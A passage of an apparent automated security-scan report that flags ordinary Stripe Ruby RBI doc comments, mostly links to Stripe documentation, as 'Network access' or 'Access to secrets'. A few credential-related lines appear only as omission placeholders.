    class BalanceSettingsService < StripeService     # Retrieves balance settings for a given connected account.     #  Related guide: [Making API calls for connected accounts](https://docs.stripe.com/connect/authentication)
  • Network accessline 7
    # Retrieves balance settings for a given connected account.     #  Related guide: [Making API calls for connected accounts](https://docs.stripe.com/connect/authentication)     sig {
  • Network accessline 8
    #  Related guide: [Making API calls for connected accounts](https://docs.stripe.com/connect/authentication)
  • Network accessline 14
    # Updates balance settings for a given connected account.     #  Related guide: [Making API calls for connected accounts](https://docs.stripe.com/connect/authentication)
  • Network accessline 15
    #  Related guide: [Making API calls for connected accounts](https://docs.stripe.com/connect/authentication)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/charge_service.rbi

  • Network accessline 7
    # Capture the payment of an existing, uncaptured charge that was created with the capture option set to false.     #     # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/c
  • Network accessline 8
    #     # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail.     #
  • Network accessline 9
    # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail.
  • Network accessline 10
    #     # Don't use this method to capture a PaymentIntent-initiated charge. Use [Capture a PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/capture).     sig {
  • Network accessline 11
    # Don't use this method to capture a PaymentIntent-initiated charge. Use [Capture a PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/capture).
  • Network accessline 17
    # This method is no longer recommended—use the [Payment Intents API](https://docs.stripe.com/docs/api/payment_intents)
  • Network accessline 37
    # Search for charges you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/checkout/session_service.rbi

  • Network accessline 35
    # Updates a Checkout Session object.       #       # Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates)
  • Network accessline 36
    #       # Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates)       sig {
  • Network accessline 37
    # Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/coupon_service.rbi

  • Network accessline 5
    module Stripe   class CouponService < StripeService     # You can create coupons easily via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. Coupon creation is also accessible via the API if you ne
  • Network accessline 6
    class CouponService < StripeService     # You can create coupons easily via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. Coupon creation is also accessible via the API if you need to create cou
  • Network accessline 7
    # You can create coupons easily via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. Coupon creation is also accessible via the API if you need to create coupons on the fly.
  • Network accessline 15
    # You can delete coupons via the [coupon management](https://dashboard.stripe.com/coupons) page of the Stripe dashboard. However, deleting a coupon does not affect any customers who have already applied the coupon; it means that new custome

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/credit_note_service.rbi

  • Network accessline 51
    # Marks a credit note as void. Learn more about [voiding credit notes](https://docs.stripe.com/docs/billing/invoices/credit-notes#voiding).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/customer_balance_transaction_service.rbi

  • Network accessline 5
    module Stripe   class CustomerBalanceTransactionService < StripeService     # Creates an immutable transaction that updates the customer's credit [balance](https://docs.stripe.com/docs/billing/customer/balance).
  • Network accessline 6
    class CustomerBalanceTransactionService < StripeService     # Creates an immutable transaction that updates the customer's credit [balance](https://docs.stripe.com/docs/billing/customer/balance).     sig {
  • Network accessline 7
    # Creates an immutable transaction that updates the customer's credit [balance](https://docs.stripe.com/docs/billing/customer/balance).
  • Network accessline 13
    # Returns a list of transactions that updated the customer's [balances](https://docs.stripe.com/docs/billing/customer/balance).
  • Network accessline 19
    # Retrieves a specific customer balance transaction that updated the customer's [balances](https://docs.stripe.com/docs/billing/customer/balance).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/customer_cash_balance_transaction_service.rbi

  • Network accessline 5
    module Stripe   class CustomerCashBalanceTransactionService < StripeService     # Returns a list of transactions that modified the customer's [cash balance](https://docs.stripe.com/docs/payments/customer-balance).
  • Network accessline 6
    class CustomerCashBalanceTransactionService < StripeService     # Returns a list of transactions that modified the customer's [cash balance](https://docs.stripe.com/docs/payments/customer-balance).     sig {
  • Network accessline 7
    # Returns a list of transactions that modified the customer's [cash balance](https://docs.stripe.com/docs/payments/customer-balance).
  • Network accessline 13
    # Retrieves a specific cash balance transaction, which updated the customer's [cash balance](https://docs.stripe.com/docs/payments/customer-balance).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/customer_payment_source_service.rbi

  • Network accessline 9
    # If the card's owner has no default card, then the new card will become the default.     # However, if the owner already has a default, then it will not change.     # To change the default, you should [update the customer](https://docs.str
  • Network accessline 10
    # However, if the owner already has a default, then it will not change.     # To change the default, you should [update the customer](https://docs.stripe.com/docs/api#update_customer) to have a new default_source.     sig {
  • Network accessline 11
    # To change the default, you should [update the customer](https://docs.stripe.com/docs/api#update_customer) to have a new default_source.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/customer_service.rbi

  • Network accessline 44
    # Search for customers you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/dispute_service.rbi

  • Network accessline 27
    # When you get a dispute, contacting your customer is always the best first step. If that doesn't work, you can submit evidence to help us resolve the dispute in your favor. You can do this in your [dashboard](https://dashboard.stripe.com/d
  • Network accessline 28
    #     # Depending on your dispute type, different evidence fields will give you a better chance of winning your dispute. To figure out which evidence fields to provide, see our [guide to dispute types](https://docs.stripe.com/docs/disputes/
  • Network accessline 29
    # Depending on your dispute type, different evidence fields will give you a better chance of winning your dispute. To figure out which evidence fields to provide, see our [guide to dispute types](https://docs.stripe.com/docs/disputes/catego

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/event_service.rbi

  • Network accessline 5
    module Stripe   class EventService < StripeService     # List events, going back up to 30 days. Each event data is rendered according to Stripe API version at its creation time, specified in [event object](https://docs.stripe.com/api/events
  • Network accessline 6
    class EventService < StripeService     # List events, going back up to 30 days. Each event data is rendered according to Stripe API version at its creation time, specified in [event object](https://docs.stripe.com/api/events/object) api_ver
  • Network accessline 7
    # List events, going back up to 30 days. Each event data is rendered according to Stripe API version at its creation time, specified in [event object](https://docs.stripe.com/api/events/object) api_version attribute (not according to your c

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/exchange_rate_service.rbi

  • Network accessline 5
    module Stripe   class ExchangeRateService < StripeService     # [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead.
  • Network accessline 6
    class ExchangeRateService < StripeService     # [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead.     #
  • Network accessline 7
    # [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead.
  • Network accessline 15
    # [Deprecated] The ExchangeRate APIs are deprecated. Please use the [FX Quotes API](https://docs.stripe.com/payments/currencies/localize-prices/fx-quotes-api) instead.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/file_service.rbi

  • Network accessline 21
    # Retrieves the details of an existing file object. After you supply a unique file ID, Stripe returns the corresponding file object. Learn how to [access file contents](https://docs.stripe.com/docs/file-upload#download-file-contents).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/financial_connections/session_service.rbi

  • Access to secretsline 8
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/identity/verification_session_service.rbi

  • Network accessline 6
    module Identity     class VerificationSessionService < StripeService       # A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work).
  • Network accessline 7
    class VerificationSessionService < StripeService       # A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work).       #
  • Network accessline 8
    # A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work).
  • Network accessline 9
    #       # Once canceled, future submission attempts are disabled. This cannot be undone. [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#cancel).       sig {
  • Network accessline 10
    # Once canceled, future submission attempts are disabled. This cannot be undone. [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#cancel).
  • Access to secretsline 18
    [Credential-related source omitted]
  • Network accessline 20
    # If your API key is in test mode, verification checks won't actually process, though everything else will occur as if in live mode.       #       # Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identit
  • Network accessline 21
    #       # Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identity/verify-identity-documents)       sig {
  • Network accessline 22
    # Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identity/verify-identity-documents)
  • Network accessline 37
    #       # A VerificationSession object can be redacted when it is in requires_input or verified       # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action
  • Network accessline 38
    # A VerificationSession object can be redacted when it is in requires_input or verified       # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action       # state will automat
  • Network accessline 39
    # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action
  • Network accessline 50
    # used for any purpose.       #       # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact).
  • Network accessline 51
    #       # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact).       sig {
  • Network accessline 52
    # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact).
  • Access to secretsline 61
    [Credential-related source omitted]

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/invoice_service.rbi

  • Network accessline 21
    # credited to the invoice immediately.     #     # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more.
  • Network accessline 22
    #     # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more.     sig {
  • Network accessline 23
    # See: [Partial payments](https://docs.stripe.com/docs/invoicing/partial-payments) to learn more.
  • Network accessline 29
    # This endpoint creates a draft invoice for a given customer. The invoice remains a draft until you [finalize the invoice, which allows you to [pay](#pay_invoice) or <a href="#send_invoice">send](https://docs.stripe.com/api#finalize_invoice
  • Network accessline 41
    # Note that when you are viewing an upcoming invoice, you are simply viewing a preview – the invoice has not yet been created. As such, the upcoming invoice will not show up in invoice listing calls, and you cannot use the API to pay or edi
  • Network accessline 42
    #     # Note: Currency conversion calculations use the latest exchange rates. Exchange rates may vary between the time of the preview and the time of the actual invoice creation. [Learn more](https://docs.stripe.com/currencies/conversions) 
  • Network accessline 43
    # Note: Currency conversion calculations use the latest exchange rates. Exchange rates may vary between the time of the preview and the time of the actual invoice creation. [Learn more](https://docs.stripe.com/currencies/conversions)
  • Network accessline 49
    # Permanently deletes a one-off invoice draft. This cannot be undone. Attempts to delete invoices that are no longer in a draft state will fail; once an invoice has been finalized or if an invoice is for a subscription, it must be [voided](
  • Network accessline 73
    # Stripe automatically creates and then attempts to collect payment on invoices for customers on subscriptions according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to att
  • Network accessline 91
    # Search for invoices you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).
  • Network accessline 100
    # Stripe will automatically send invoices to customers according to your [subscriptions settings](https://dashboard.stripe.com/account/billing/automatic). However, if you'd like to manually send an invoice to your customer out of the normal
  • Network accessline 108
    # Draft invoices are fully editable. Once an invoice is [finalized](https://docs.stripe.com/docs/billing/invoices/workflow#finalized),
  • Network accessline 110
    #     # If you would like to stop the Stripe Billing engine from automatically finalizing, reattempting payments on,     # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) i
  • Network accessline 111
    # If you would like to stop the Stripe Billing engine from automatically finalizing, reattempting payments on,     # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) invoice
  • Network accessline 112
    # sending reminders for, or [automatically reconciling](https://docs.stripe.com/docs/billing/invoices/reconciliation) invoices, pass
  • Network accessline 125
    # Mark a finalized invoice as void. This cannot be undone. Voiding an invoice is similar to [deletion](https://docs.stripe.com/api#delete_invoice), however it only applies to finalized invoices and maintains a papertrail where the invoice c
  • Network accessline 126
    #     # Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. You might need to [issue another invoice or <a href="#create_credit_note">cre
  • Network accessline 127
    # Consult with local regulations to determine whether and how an invoice might be amended, canceled, or voided in the jurisdiction you're doing business in. You might need to [issue another invoice or <a href="#create_credit_note">credit no

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/issuing/authorization_service.rbi

  • Network accessline 6
    module Issuing     class AuthorizationService < StripeService       # [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.c
  • Network accessline 7
    class AuthorizationService < StripeService       # [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.com/docs/issuing/con
  • Network accessline 8
    # [Deprecated] Approves a pending Issuing Authorization object. This request should be made within the timeout window of the [real-time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow.
  • Network accessline 9
    # This method is deprecated. Instead, [respond directly to the webhook request to approve an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling).
  • Network accessline 15
    # [Deprecated] Declines a pending Issuing Authorization object. This request should be made within the timeout window of the [real time authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations) flow.
  • Network accessline 16
    # This method is deprecated. Instead, [respond directly to the webhook request to decline an authorization](https://docs.stripe.com/docs/issuing/controls/real-time-authorizations#authorization-handling).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/issuing/dispute_service.rbi

  • Network accessline 6
    module Issuing     class DisputeService < StripeService       # Creates an Issuing Dispute object. Individual pieces of evidence within the evidence object are optional at this point. Stripe only validates that required evidence is present 
  • Network accessline 7
    class DisputeService < StripeService       # Creates an Issuing Dispute object. Individual pieces of evidence within the evidence object are optional at this point. Stripe only validates that required evidence is present during submission. 
  • Network accessline 8
    # Creates an Issuing Dispute object. Individual pieces of evidence within the evidence object are optional at this point. Stripe only validates that required evidence is present during submission. Refer to [Dispute reasons and evidence](htt
  • Network accessline 26
    # Submits an Issuing Dispute to the card network. Stripe validates that all evidence fields required for the dispute's reason are present. For more details, see [Dispute reasons and evidence](https://docs.stripe.com/docs/issuing/purchases/d

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/payment_intent_service.rbi

  • Network accessline 14
    # You can cancel a PaymentIntent object when it's in one of these statuses: requires_payment_method, requires_capture, requires_confirmation, requires_action or, [in rare cases](https://docs.stripe.com/docs/payments/intents), processing.
  • Network accessline 16
    # After it's canceled, no additional charges are made by the PaymentIntent and any operations on the PaymentIntent fail with an error. For PaymentIntents with a status of requires_capture, the remaining amount_capturable is automatically re
  • Network accessline 17
    #     # You can't cancel the PaymentIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/expire) instead.     sig {
  • Network accessline 18
    # You can't cancel the PaymentIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/expire) instead.
  • Network accessline 26
    # Uncaptured PaymentIntents are cancelled a set number of days (7 by default) after their creation.     #     # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later).
  • Network accessline 27
    #     # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later).     sig {
  • Network accessline 28
    # Learn more about [separate authorization and capture](https://docs.stripe.com/docs/payments/capture-later).
  • Network accessline 45
    #     # If the confirmation_method is automatic, payment may be attempted     # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment)
  • Network accessline 46
    # If the confirmation_method is automatic, payment may be attempted     # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment)     # and the PaymentIntent's [client_secret](https://docs.stripe
  • Network accessline 47
    # using our [client SDKs](https://docs.stripe.com/docs/stripe-js/reference#stripe-handle-card-payment)
  • Network accessline 48
    [Credential-related source omitted]
  • Access to secretsline 48
    [Credential-related source omitted]
  • Network accessline 69
    # Creates a PaymentIntent object.     #     # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm)
  • Network accessline 70
    #     # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm)     # to continue the payment. Learn more about <a href="/docs/payments/payment-intents">the availab
  • Network accessline 71
    # After the PaymentIntent is created, attach a payment method and [confirm](https://docs.stripe.com/docs/api/payment_intents/confirm)
  • Network accessline 75
    # When you use confirm=true during creation, it's equivalent to creating     # and confirming the PaymentIntent in the same call. You can use any parameters     # available in the [confirm API](https://docs.stripe.com/docs/api/payment_inten
  • Network accessline 76
    # and confirming the PaymentIntent in the same call. You can use any parameters     # available in the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) when you supply     # confirm=true.
  • Network accessline 77
    # available in the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) when you supply
  • Network accessline 84
    # Perform an incremental authorization on an eligible     # [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the
  • Network accessline 85
    # [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the
  • Network accessline 86
    # PaymentIntent's status must be requires_capture and     # [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported)     # m
  • Network accessline 87
    # [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported)
  • Network accessline 96
    # If the incremental authorization succeeds, the PaymentIntent object     # returns with the updated     # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount).
  • Network accessline 97
    # returns with the updated     # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount).     # If the incremental authorization fails, a
  • Network accessline 98
    # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount).
  • Network accessline 99
    # If the incremental authorization fails, a     # [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other     # fields on the PaymentIntent or Charge update. The PaymentIntent
  • Network accessline 100
    # [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other
  • Network accessline 105
    # After it's captured, a PaymentIntent can no longer be incremented.     #     # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations).
  • Network accessline 106
    #     # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations).     sig {
  • Network accessline 107
    # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations).
  • Network accessline 121
    [Credential-related source omitted]
  • Access to secretsline 121
    [Credential-related source omitted]
  • Network accessline 122
    #     # If you retrieve a PaymentIntent with a publishable key, it only returns a subset of properties. Refer to the [payment intent](https://docs.stripe.com/api#payment_intent_object) object reference for more details.     sig {
  • Network accessline 123
    # If you retrieve a PaymentIntent with a publishable key, it only returns a subset of properties. Refer to the [payment intent](https://docs.stripe.com/api#payment_intent_object) object reference for more details.
  • Network accessline 129
    # Search for PaymentIntents you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).
  • Network accessline 142
    # always requires you to confirm the PaymentIntent again. If you prefer to     # update and confirm at the same time, we recommend updating properties through     # the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm)
  • Network accessline 143
    # update and confirm at the same time, we recommend updating properties through     # the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) instead.     sig {
  • Network accessline 144
    # the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) instead.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/payment_method_domain_service.rbi

  • Network accessline 34
    # To activate a payment method on an existing payment method domain, complete the required registration steps specific to the payment method, and then validate the payment method domain with this endpoint.     #     # Related guides: [Payme
  • Network accessline 35
    #     # Related guides: [Payment method domains](https://docs.stripe.com/docs/payments/payment-methods/pmd-registration).     sig {
  • Network accessline 36
    # Related guides: [Payment method domains](https://docs.stripe.com/docs/payments/payment-methods/pmd-registration).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/payment_method_service.rbi

  • Network accessline 7
    # Attaches a PaymentMethod object to a Customer.     #     # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents)
  • Network accessline 8
    #     # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents)     # or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/ap
  • Network accessline 9
    # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents)
  • Network accessline 10
    # or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/api/payment_intents/create#create_payment_intent-setup_future_usage).
  • Network accessline 12
    # endpoint without first using a SetupIntent or PaymentIntent with setup_future_usage does not optimize the PaymentMethod for     # future use, which makes later declines and payment friction more likely.     # See [Optimizing cards for fut
  • Network accessline 13
    # future use, which makes later declines and payment friction more likely.     # See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up     # futu
  • Network accessline 14
    # See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up
  • Network accessline 16
    #     # To use this PaymentMethod as the default for invoice or subscription payments,     # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_me
  • Network accessline 17
    # To use this PaymentMethod as the default for invoice or subscription payments,     # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method),
  • Network accessline 18
    # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method),
  • Network accessline 25
    # Creates a PaymentMethod object. Read the [Stripe.js reference](https://docs.stripe.com/docs/stripe-js/reference#stripe-create-payment-method) to learn how to create PaymentMethods via Stripe.js.
  • Network accessline 26
    #     # Instead of creating a PaymentMethod directly, we recommend using the [PaymentIntents API to accept a payment immediately or the <a href="/docs/payments/save-and-reuse">SetupIntent](https://docs.stripe.com/docs/payments/accept-a-paym
  • Network accessline 27
    # Instead of creating a PaymentMethod directly, we recommend using the [PaymentIntents API to accept a payment immediately or the <a href="/docs/payments/save-and-reuse">SetupIntent](https://docs.stripe.com/docs/payments/accept-a-payment) A
  • Network accessline 45
    # Retrieves a PaymentMethod object attached to the StripeAccount. To retrieve a payment method attached to a Customer, you should use [Retrieve a Customer's PaymentMethods](https://docs.stripe.com/docs/api/payment_methods/customer)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/payout_service.rbi

  • Network accessline 13
    # To send funds to your own bank account, create a new payout object. Your [Stripe balance](https://docs.stripe.com/api#balance) must cover the payout amount. If it doesn't, you receive an “Insufficient Funds” error.
  • Network accessline 15
    # If your API key is in test mode, money won't actually be sent, though every other action occurs as if you're in live mode.     #     # If you create a manual payout on a Stripe account that uses multiple payment source types, you need to 
  • Network accessline 16
    #     # If you create a manual payout on a Stripe account that uses multiple payment source types, you need to specify the source type balance that the payout draws from. The [balance object](https://docs.stripe.com/api#balance_object) deta
  • Network accessline 17
    # If you create a manual payout on a Stripe account that uses multiple payment source types, you need to specify the source type balance that the payout draws from. The [balance object](https://docs.stripe.com/api#balance_object) details av

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/plan_service.rbi

  • Network accessline 5
    module Stripe   class PlanService < StripeService     # You can now model subscriptions more flexibly using the [Prices API](https://docs.stripe.com/api#prices). It replaces the Plans API and is backwards compatible to simplify your migrati
  • Network accessline 6
    class PlanService < StripeService     # You can now model subscriptions more flexibly using the [Prices API](https://docs.stripe.com/api#prices). It replaces the Plans API and is backwards compatible to simplify your migration.     sig {
  • Network accessline 7
    # You can now model subscriptions more flexibly using the [Prices API](https://docs.stripe.com/api#prices). It replaces the Plans API and is backwards compatible to simplify your migration.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/price_service.rbi

  • Network accessline 5
    module Stripe   class PriceService < StripeService     # Creates a new [Price for an existing <a href="https://docs.stripe.com/api/products">Product](https://docs.stripe.com/api/prices). The Price can be recurring or one-time.
  • Network accessline 6
    class PriceService < StripeService     # Creates a new [Price for an existing <a href="https://docs.stripe.com/api/products">Product](https://docs.stripe.com/api/prices). The Price can be recurring or one-time.     sig {
  • Network accessline 7
    # Creates a new [Price for an existing <a href="https://docs.stripe.com/api/products">Product](https://docs.stripe.com/api/prices). The Price can be recurring or one-time.
  • Network accessline 13
    # Returns a list of your active prices, excluding [inline prices](https://docs.stripe.com/docs/products-prices/pricing-models#inline-pricing). For the list of inactive prices, set active to false.
  • Network accessline 25
    # Search for prices you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/product_service.rbi

  • Network accessline 32
    # Search for products you've previously created using Stripe's [Search Query Language](https://docs.stripe.com/docs/search#search-query-language).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/promotion_code_service.rbi

  • Network accessline 19
    # Retrieves the promotion code with the given ID. In order to retrieve a promotion code by the customer-facing code use [list](https://docs.stripe.com/docs/api/promotion_codes/list) with the desired code.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/quote_computed_upfront_line_items_service.rbi

  • Network accessline 5
    module Stripe   class QuoteComputedUpfrontLineItemsService < StripeService     # When retrieving a quote, there is an includable [computed.upfront.line_items](https://stripe.com/docs/api/quotes/object#quote_object-computed-upfront-line_item
  • Network accessline 6
    class QuoteComputedUpfrontLineItemsService < StripeService     # When retrieving a quote, there is an includable [computed.upfront.line_items](https://stripe.com/docs/api/quotes/object#quote_object-computed-upfront-line_items) property cont
  • Network accessline 7
    # When retrieving a quote, there is an includable [computed.upfront.line_items](https://stripe.com/docs/api/quotes/object#quote_object-computed-upfront-line_items) property containing the first handful of those items. There is also a URL wh

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/quote_service.rbi

  • Network accessline 21
    # A quote models prices and services for a customer. Default options for header, description, footer, and expires_at can be set in the dashboard via the [quote template](https://dashboard.stripe.com/settings/billing/quote).
  • Network accessline 39
    # Download the PDF for a finalized quote. Explanation for special handling can be found [here](https://docs.stripe.com/quotes/overview#quote_pdf)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/radar/early_fraud_warning_service.rbi

  • Network accessline 14
    # Retrieves the details of an early fraud warning that has previously been created.       #       # Please refer to the [early fraud warning](https://docs.stripe.com/api#early_fraud_warning_object) object reference for more details.
  • Network accessline 15
    #       # Please refer to the [early fraud warning](https://docs.stripe.com/api#early_fraud_warning_object) object reference for more details.       sig {
  • Network accessline 16
    # Please refer to the [early fraud warning](https://docs.stripe.com/api#early_fraud_warning_object) object reference for more details.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/reporting/report_run_service.rbi

  • Network accessline 6
    module Reporting     class ReportRunService < StripeService       # Creates a new object and begin running the report. (Certain report types require a [live-mode API key](https://stripe.com/docs/keys#test-live-modes).)
  • Network accessline 7
    class ReportRunService < StripeService       # Creates a new object and begin running the report. (Certain report types require a [live-mode API key](https://stripe.com/docs/keys#test-live-modes).)       sig {
  • Network accessline 8
    # Creates a new object and begin running the report. (Certain report types require a [live-mode API key](https://stripe.com/docs/keys#test-live-modes).)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/reporting/report_type_service.rbi

  • Network accessline 14
    # Retrieves the details of a Report Type. (Certain report types require a [live-mode API key](https://stripe.com/docs/keys#test-live-modes).)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/services/setup_intent_service.rbi

  • Network accessline 7
    # You can cancel a SetupIntent object when it's in one of these statuses: requires_payment_method, requires_confirmation, or requires_action.     #     # After you cancel it, setup is abandoned and any operations on the SetupIntent fail wit
  • Network accessline 8
    #     # After you cancel it, setup is abandoned and any operations on the SetupIntent fail with an error. You can't cancel the SetupIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessi
  • Network accessline 9
    # After you cancel it, setup is abandoned and any operations on the SetupIntent fail with an error. You can't cancel the SetupIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/ex
  • Network accessline 34
